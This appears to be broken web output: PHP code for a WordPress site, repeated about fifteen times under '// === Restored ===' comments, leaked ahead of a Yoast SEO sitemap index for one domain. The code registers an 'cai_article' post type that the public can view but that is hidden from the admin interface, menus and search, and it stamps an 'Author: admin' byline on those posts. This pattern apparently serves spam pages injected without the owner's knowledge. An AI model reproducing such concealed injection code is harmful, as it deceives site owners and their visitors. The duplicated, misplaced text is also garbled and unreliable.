    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//fabiosonego.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://fabiosonego.com/page-sitemap.xml</loc>
		<lastmod>2026-05-04T12:30:09+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->